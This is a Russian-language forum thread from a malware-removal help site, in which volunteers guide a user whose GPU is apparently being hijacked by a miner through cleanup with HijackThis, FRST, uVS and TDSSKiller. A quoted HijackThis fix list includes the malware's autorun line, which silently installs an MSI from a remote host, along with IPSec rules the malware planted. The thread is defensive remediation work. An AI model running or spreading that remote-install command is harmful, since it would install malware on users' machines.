Загрузка графического процессора до 99%

Здравствуйте. Заметил резкое повышение нагрузки на графический процессор до 99% даже если не запущено ни одно приложение. Буквально 3-4 часа назад выполнял лечение компьютера утилитой Dr.Web CureIt, была обнаружена всего лишь одна угроза, которую утилита и лечила. Запомнил только название Mysa (вряд ли конечно проблема в этом). Но в итоге ГП нагружен, но при отключении от сети Интернет возвращается в норму (0-1%). При повторном подключении к сети нагрузка возвращается на максимальный уровень. Прошу о помощи, всё-таки какими же средствами защищать свой компьютер, просто несколько лет стоял Microsoft Security Essentials и проблем не наблюдалось, буквально вот за последний месяц программа начала обнаруживать постоянно элементы категории Троян (T[URL="https://yandex.ru/search/?text=trojan%3Awin32%2FBitrep.A&clid=1955453&banerid=0500000134&win=183"]rojan:win32/Bitrep.A[/URL], Trojan:Win32/Tiggre!rfn).

Уважаемый(ая) [B]G-Lauf[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Запустите HijackThis, расположенный в папке Autologger и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите[/url] (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B]):[code]O4 - HKLM\..\Run: [RtHDVCpl] = C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe -s
O4 - HKLM\..\Run: [start1] = C:\Windows\system32\msiexec.exe /i http://js.5b6b7b.ru:280/helloworld.msi /q
O4 - HKU\.DEFAULT\..\Run: [script_fcbd] = D:\Uplay\Far Cry 3 Blood Dragon\fcbd.bat (file missing)
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 135 UDP) (mirrored) - Action: Block
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 139 UDP) (mirrored) - Action: Block
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: qianye (2018/04/22) - {eae4eda0-e8dc-475b-9889-9e8e3124a1bd} - Source: Any IP - Destination: my IP (Port 445 UDP) (mirrored) - Action: Block
O21 - HKLM\..\ShellIconOverlayIdentifiers: 00avg - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task: \AVG\Overseer - C:\Program Files (x86)\AVG\Antivirus\setup\overseer.exe (file missing)[/code]
Загрузите, распакуйте на Рабочий стол и запустите [URL="https://yadi.sk/d/xIUtpEqJq4wru"]SecurityCheck by glax24 & Severnyj[/URL].
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши [B]Запуск от имени администратора[/B] (если Вы используете Windows Vista/7/8/10).
Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например [I]C:\SecurityCheck\SecurityCheck.txt[/I].

Приложите этот файл к своему следующему сообщению.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

Выполнил указанные инструкции. При сканировании Farbar Recovery Scan Tool вылезала ошибка, что программа не отвечает и постоянно появлялась во время проверки файлов по пути C:\Windows\system32\... на разных файлах. Решил перезагрузить компьютер и сканирование прошло полностью (может я где-то накосячил, и заранее прошу прощения). До этого перезагрузка проводилась, как по инструкции "пофиксить" после использования программы HijackThis. Ну и прикрепил полученные файлы.

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]CreateRestorePoint:
CHR HKLM-x32\...\Chrome\Extension: [ccfifbojenkenpkmnbnndeadpfdiffof] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [fdjdjkkjoiomafnihnobkinnfjnnlhdg] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [oelpkepjlgmehajehfeicfbjdiobdkfj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ojlcebdkbpjdpiligkdbbkdkfjmchbfd] - hxxps://clients2.google.com/service/update2/crx
Task: {3DE4467A-03D8-4412-9798-AC11251602AB} - \Mysa -> No File <==== ATTENTION
AlternateDataStreams: C:\ProgramData\TEMP:58A5270D [147]
CMD: sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
CMD: sc.exe config mrxsmb10 start= disabled
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. [U]При сохранении выберите кодировку [B]Юникод[/B]![/U]
Отключите до перезагрузки антивирус, [U]закройте все браузеры[/U], в FRST нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

В автозагрузке майнеров нет, но могут запускать удалённо через уязвимости.
[QUOTE]------------------------------- [ HotFix ] --------------------------------
HotFix KB3185911 [color=red][b]Внимание! [url=https://technet.microsoft.com/en-us/library/security/ms16-106.aspx]Скачать обновления[/url][/b][/color]
HotFix KB3184122 [color=red][b]Внимание! [url=https://technet.microsoft.com/en-us/library/security/ms16-116.aspx]Скачать обновления[/url][/b][/color]
HotFix KB3192391 [color=red][b]Внимание! [url=https://technet.microsoft.com/en-us/library/security/ms16-122.aspx]Скачать обновления[/url][/b][/color]
HotFix KB3197867 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3197867]Скачать обновления[/url][/b][/color]
HotFix KB3205394 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB3205394]Скачать обновления[/url][/b][/color]
HotFix KB4012212 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212]Скачать обновления[/url][/b][/color]
HotFix KB4019263 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4019263]Скачать обновления[/url][/b][/color]
HotFix KB4022722 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4022722]Скачать обновления[/url][/b][/color]
HotFix KB4015546 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4015546]Скачать обновления[/url][/b][/color]
HotFix KB4025337 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4025337]Скачать обновления[/url][/b][/color]
HotFix KB4034679 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4034679]Скачать обновления[/url][/b][/color]
HotFix KB4041678 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4041678]Скачать обновления[/url][/b][/color]
HotFix KB4056894 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056894]Скачать обновления[/url][/b][/color]
HotFix KB4056897 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056897]Скачать обновления[/url][/b][/color]
HotFix KB4074587 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4074587]Скачать обновления[/url][/b][/color]
HotFix KB4103712 [color=red][b]Внимание! [url=https://www.catalog.update.microsoft.com/Search.aspx?q=KB4103712]Скачать обновления[/url][/b][/color][/QUOTE]Это только критические хотфиксы, включая KB4012212, который закрывает опаснейшую уязвимость, используемую в т. ч. нашумевшими в прошлом году шифровальщики WannaCry и Petya/NotPetya, а также многими майнерами.
[QUOTE]-------------------------------- [ Java ] ---------------------------------
Java 8 Update 11 (64-bit) v.8.0.110 [color=red][b]Внимание! [url=http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html]Скачать обновления[/url][/b][/color]
[color=blue][b]^Удалите старую версию и установите новую (jre-8u172-windows-x64.exe)^[/b][/color]
--------------------------- [ AdobeProduction ] ---------------------------
Adobe Flash Player 14 ActiveX v.14.0.0.145 [color=red][b]Внимание! [url=http://download.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ax.exe]Скачать обновления[/url][/b][/color]
Adobe Flash Player 14 Plugin v.14.0.0.145 [color=red][b]Внимание! [url=http://download.macromedia.com/pub/flashplayer/latest/help/install_flash_player.exe]Скачать обновления[/url][/b][/color]
Adobe Flash Player 29 PPAPI v.29.0.0.171
------------------------------- [ Browser ] -------------------------------
Yandex v.18.4.0.2080 [color=red][b]Внимание! [url=https://download.cdn.yandex.net/browser/yandex/ru/Yandex.exe]Скачать обновления[/url][/b][/color]
[color=blue][b]^Проверьте обновления через меню Дополнительно - О браузере Yandex!^[/b][/color][/QUOTE]Это обязательно обновите.

После всего напишите, что с проблемой.

Выполнил указанные инструкции. С каждым последующим HotFix-ом проблема не исчезала. Обновил программы. Проблема всё равно осталась.:sos:

Скачайте утилиту Universal Virus Sniffer [URL="https://yadi.sk/d/6A65LkI1WEuqC"]отсюда[/URL] и [url=https://virusinfo.info/showthread.php?t=121767&p=897810&viewfull=1#post897810]сделайте полный образ автозапуска uVS[/url].

Выполнил.

Скопируйте скрипт из окна "код" ниже в буфер обмена:
[CODE];uVS v4.0.12 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
zoo %Sys32%\MSP3APP.DLL
zoo %SystemDrive%\USERS\ARTEM\DOCUMENTS\DYINGLIGHT\OUT\SETTINGS\VIDEO.SCR
delref HTTP://GO.MAIL.RU/DISTIB/EP/?Q={SEARCHTERMS}&PRODUCT_ID=%7BE919D89A-12FE-4712-859E-AEE3064FA981%7D&GP=813028
delref %SystemDrive%\USERS\ARTEM\APPDATA\LOCAL\MAIL.RU\GAMECENTER\NPDETECTOR.DLL
delall %Sys32%\MSP3APP.DLL
delref %SystemRoot%\SYSWOW64\MACROMED\FLASH\FLASHUTIL32_29_0_0_113_PEPPER.EXE
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\EDA49536108FC0020BA221A9881FFFD4\00942A724BD51F569570E9D44404907E356313CF
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\BDFA46C8AD2CC96499A2530BD24082AB\0251B87C98B871F795CCA7FA43B2FD478540CA66
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\01A3F4D5BE12C25FF81BA7633B2ED8FB\0570A552A847C122826EE08B261A3561BA9E6FAA
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\3B46F771CB2AB991C8B3122D11003FBA\105D2E5AD6942A8A0DC61ED2BD248D53E7F11C6D
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\26EFCBF02C61CB3D27C0C77A5FC36A7D\23E609A1595C31CCA25C2CAD915A3CC914AE5E23
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\85636E507B8A23E93A8D7EB6453B45A3\5C2CD0206749D57D5BC4B3CF7AB66459E39E46C5
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\04E5828CCB1A772960DB8AE59BAB3784\72E04C11A26BBEB972FDF0BF60C0D97E9CDDBCAF
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\5A2C48BE7B3C6F4A2E5BF724C31CED97\812E2C8F11756791A194BDEE228A4808D0DCE5C3
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\6AAD72615E385C33A3045E3964E3B7D6\AF55F0FAB92E2FEA2100397ABF2E81BBA64900BB
delref %SystemRoot%\SOFTWAREDISTRIBUTION\DOWNLOAD\7F3CF46E78916B257436AF1A9423A322\B2E8E612599F54646186E992DCD1BE6FDE6C73FE
delref WMI_.[FUCKYOUMM2_FILTER]
del %SystemDrive%\USERS\ARTEM\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\THE ELDER SCROLLS ONLINE\UNINSTALL THE ELDER SCROLLS ONLINE.LNK
czoo
apply
deltmp
restart[/CODE]
Закройте все броузеры, запустите командный файл script.cmd из папки с uVS. Когда откроется окно со скриптом, нажмите "Выполнить".
Компьютер перезагрузится.

В папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

Скопировал скрипт. Закрыл браузер. Запустил файл script. Вылезает предупреждение системы безопасности о том что не даётся проверить издателя, нажимаю запустить и на долю секунды появляется окно командной строки и тут же исчезает. Перезагрузка компьютера не происходит.:(

Тогда так.

Скопируйте скрипт в буфер обмена.
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

Вроде получилось. И, кстати, да, во время активации скприпта вылезло окно на подтверждение удаления svchost, но в скобках было написано что само приложение не удалится. Просто самостоятельно, наблюдая за процессами в диспетчере задач, я заметил что с момента подключения к сети, именно этот процесс активируется и тут же подскакивает нагрузка на ГП.

Скачайте и запустите TDSSKiller: [url]http://support.kaspersky.ru/viruses/disinfection/5350[/url].
Файл C:\TDSSKiller.***_log.txt приложите в теме.
(где *** - версия программы, дата и время запуска.)

Прошу прощения, быть может я что-то не так сделал. Но по пути C:\TDSSKiller лежит папка C:\TDSSKiller_Quarantine\ уже непосредственно с папкой под названием времени и даты проведения и другими файлами. И, кстати, не знаю как и почему, но деятельность ГП в простое пришла в норму, примерно в 19:20 (МСК). Никаких дополнительных проверок или действий не совершал, при этом процесс на который у меня были все подозрения присутствовал. Но сейчас после проверки TDSS и перезагрузки его нет. Я в недоумении.

Это Вы карантин прикрепили, его в открытый доступ нельзя, в карантин по ссылке соответствующей загрузите.
А я просил ещё лог, он в корне диска C: - текстовый файл.
TDSSKiller руткит удалил, всё по плану.

Прошу прощения, запутался. Я ещё немного запутался с вложениями. Превышен доступный объём присылаемых вложений. В меню управления вложениями не могу понять как удалить некоторые.

[url=http://virusinfo.info/showthread.php?t=130567]Удалите вложения[/url].
Упакуйте с помощью WinRar в архив с максимальным сжатием, может влезет.
Загрузите в доступное облачное хранилище или на файлообменник (rghost.ru, например) и дайте ссылку в теме.

Аж 3 варианта ;)

Прошу прощения за задержку. Выслал лог из корня диска C:

Всё, увидел, что хотел, порядок.
Проблема не возвращалась?

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]3[/B][*]В ходе лечения вредоносные программы в карантинах не обнаружены[/LIST]